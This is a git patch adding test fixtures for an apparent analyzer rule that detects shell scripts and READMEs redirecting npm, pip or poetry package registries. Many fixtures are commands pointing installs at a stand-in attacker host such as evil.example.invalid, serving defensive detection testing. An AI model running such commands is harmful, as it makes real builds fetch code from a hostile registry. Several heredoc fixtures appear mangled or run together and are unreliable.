From 4cdb30600ae28d6f66dbee2e00e5cb99b8aa310a Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Mon, 24 Aug 2026 18:55:42 -0700 Subject: [PATCH 01/13] test(sc10): freeze executable source contracts Signed-off-by: Nir Paz --- tests/nodes/analyzers/data/sc10_controls.json | 2580 ++++++++++++++++- tests/nodes/analyzers/data/sc10_findings.json | 1646 ++++++++++- tests/nodes/analyzers/test_sc10_gap_corpus.py | 155 +- .../unit/test_dependency_command_adapters.py | 99 + tests/unit/test_shell_frontend.py | 85 + 5 files changed, 4548 insertions(+), 17 deletions(-) create mode 100644 tests/unit/test_dependency_command_adapters.py create mode 100644 tests/unit/test_shell_frontend.py diff --git a/tests/nodes/analyzers/data/sc10_controls.json b/tests/nodes/analyzers/data/sc10_controls.json index 61813b61..8e016c0b 100644 --- a/tests/nodes/analyzers/data/sc10_controls.json +++ b/tests/nodes/analyzers/data/sc10_controls.json @@ -1,6 +1,6 @@ { "schema_version": 1, - "expected_row_count": 28, + "expected_row_count": 165, "rows": [ { "id": "control-pip-global-index", @@ -543,6 +543,2584 @@ "start_line": 5 } ] + }, + { + "id": "control-executable-00af35f0d55f", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\necho 'npm config set registry https://a.invalid'\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-067b418b404d", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nenv FOO=1 pip config set global.index-url https://evil.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-073f7f296605", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\nmvn -Dmaven.repo.remote=https://evil.example.invalid/repo package\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-07b2015705ce", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config set registry https://a.invalid --location=project\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-08eab67c462e", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config get registry --registry=https://packages.example.invalid\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-0c5110f916e4", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\n\\npm config set registry https://a.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-0d04884b65a6", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\necho 'do NOT run npm config set registry https://packages.example.invalid'\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-0d483a1b201b", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncat > .npmrc <<'END'\nregistry=https://packages.example.invalid\nEND\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "generated-config", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-10e104de8631", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npoetry config repositories.foo.url https://evil.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "poetry", + "surface": "command", + "operation": "set", + "scope": "repository", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-1128d82c7906", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncat > /dev/null <<-EOF\n\tnpm config set registry https://packages.example.invalid\n\tEOF\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-1596aa14a0a8", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm view lodash version --registry=https://packages.example.invalid\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-181499b35284", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nenv npm config set registry https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-186d714c4d46", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\nmvn >/dev/null -Dmaven.repo.remote=https://evil.example.invalid/simple package\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-1900aa47d591", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npoetry source add --priority=explicit private https://evil.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "poetry", + "surface": "command", + "operation": "add", + "scope": "source", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-1aa904ea7e22", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config set registry https://registry.npmjs.org/\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-1cef79565c27", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\n(\n npm config set registry https://a.invalid\n)\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-1f75a7b1683a", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\necho done # npm config set registry https://a.invalid\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-22baf76b1494", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config set //packages.example.invalid/:_authToken abc123\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-256a915eb1fc", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncat > .npmrc <<-EOF\n\tregistry=https://packages.example.invalid\n\tEOF\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "generated-config", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-26bfa21457da", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "README.md": "# d\n```sh copy\nnpm config set registry https://packages.example.invalid/\n```\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid/", + "destination_status": "resolved", + "file": "README.md", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-288d4b0cd313", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncd /tmp && npm config set registry https://a.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-292b141a6b74", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\nprintf '%s\\n' 'run: npm config set registry https://packages.example.invalid'\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-2a0a0d196e3a", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nFOO=bar npm config set registry https://a.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-2a5bf10b5529", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config set registry https://packages.example.invalid --location=project\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-2a637a0e2c3e", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\n{\n npm config set registry https://a.invalid\n}\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-2c4a6e56d529", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config delete registry\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-2c8f3c64b150", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nif [ -n \"$HOME\" ]; then\n npm config set registry https://a.invalid\nfi\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-2c9b51aa2932", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\necho hi; npm config set registry https://a.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-2ec17d098130", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncase \"$1\" in\n setup) npm config set registry https://a.invalid ;;\nesac\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-2fd1703bf04f", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncase \"$1\" in\n setup|install) npm config set registry https://a.invalid ;;\nesac\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-2ffea65f2cae", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncat > .npmrc <.npmrc < .npmrc\nregistry=https://packages.example.invalid\nEOF\n" + }, + "expected_sc10": [], + "expected_limitation": { + "reason": "dependency_source_parse_incomplete", + "path": "scripts/setup.sh", + "range": { + "start_line": 2, + "end_line": 4 + } + } + }, + { + "id": "control-executable-3d157e28761b", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nsudo npm config set registry https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-40c18d9071f9", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\npip config set global.index-url https://pypi.org/simple\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-431d83551e3b", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\n( echo a; npm config set registry https://a.invalid )\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-4bad712dcc7d", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config set registry https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-4d2732223030", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config set @acme:registry https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "scoped", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-4f4ca27f0d6b", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nfor i in 1 2; do npm config set registry https://a.invalid; done\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-515e203b51e0", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npython3 -m pip install --index-url https://evil.example.invalid/simple requests\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "invocation", + "operation": "use", + "scope": "invocation", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-51ed17d1028c", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncat > .npmrc <<$\"END\"\nregistry=https://packages.example.invalid\nEND\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "generated-config", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-524923a1ab86", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncat > /dev/null <<'OUTER'\ncat > .npmrc < .npmrc <<${VAR}\nregistry=https://packages.example.invalid\n${VAR}\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "generated-config", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-556d711dece1", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncat > .npmrc <<\"END\"\nregistry=https://packages.example.invalid\nEND\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "generated-config", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-584560c78a89", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nsetup() {\n npm config set registry https://a.invalid\n}\nsetup\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-587a57c654a0", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm\tconfig\tset\tregistry\thttps://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-596abecd9d7b", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncat > \".npmrc\" < .npmrc < \"$HOME/.npmrc\" < .npmrc <<${VAR:-x}\nregistry=https://packages.example.invalid\n${VAR:-x}\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "generated-config", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-944899a5b6d2", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncat > ~/.npmrc < .npmrc < .npmrc\nregistry=https://packages.example.invalid\nEOF\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "generated-config", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-b085cfedf8d8", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config set registry https://a.invalid # point at mirror\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-b2c0a00639c7", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npoetry source add --default private https://evil.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "poetry", + "surface": "command", + "operation": "add", + "scope": "source", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-b7c84b6b73c3", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config set registry https://a.invalid >/dev/null 2>&1\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-b7f661f33e27", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config set registry https://a.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-b8e042e063bf", + "status": "fixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "README.md": "# d\nRun npm config set registry https://packages.example.invalid/ to switch mirrors.\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-b9b06649472f", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\nmvn -Dmaven.repo.remote=https://repo1.maven.org/maven2 package\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-bb7d2047451f", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\r\nnpm config set registry https://a.invalid\r\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-bbe13f886c21", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npoetry source add private https://a.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "poetry", + "surface": "command", + "operation": "add", + "scope": "source", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-be275dcc6e16", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config set registry https://packages.example.invalid --userconfig ./.npmrc\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-c5745da3b858", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\n# pip config set global.index-url https://evil.example.invalid/simple\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-c603893923b7", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm_config_registry=https://packages.example.invalid npm install\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "environment", + "operation": "set", + "scope": "environment", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-c63a2ab801a5", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm help config\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-c6dcda944096", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npip config set global.index-url https://evil.example.invalid/simple >/dev/null 2>&1\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-c81fd8a927c2", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncat >> .npmrc < .npmrc\nregistry=https://packages.example.invalid\nEOF\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "generated-config", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-cbf0536983c5", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nexport PIP_INDEX_URL=https://evil.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "environment", + "operation": "set", + "scope": "environment", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-cdedb8e898c4", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncat > .npmrc <<$'END'\nregistry=https://packages.example.invalid\nEND\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "generated-config", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-cf7e0912afe9", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\n\tnpm config set registry https://a.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-d0dcfe827175", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npoetry config repositories.private https://a.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "poetry", + "surface": "command", + "operation": "set", + "scope": "repository", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-d10454ae83f5", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "README.md": "# d\n```console\nnpm config set registry https://packages.example.invalid/\n```\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid/", + "destination_status": "resolved", + "file": "README.md", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-d2d719b6690d", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nsudo -- npm config set registry https://a.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-d476346c2e2d", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npip install --extra-index-url https://evil.example.invalid/simple requests\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "invocation", + "operation": "use", + "scope": "invocation", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-dab4dccfc09a", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\n# npm config set registry https://packages.example.invalid\necho hi\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-dea727af8cd8", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncommand npm config set registry https://a.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-df9215ffb734", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm run build -- --registry=https://packages.example.invalid\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-e0813e25d533", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": 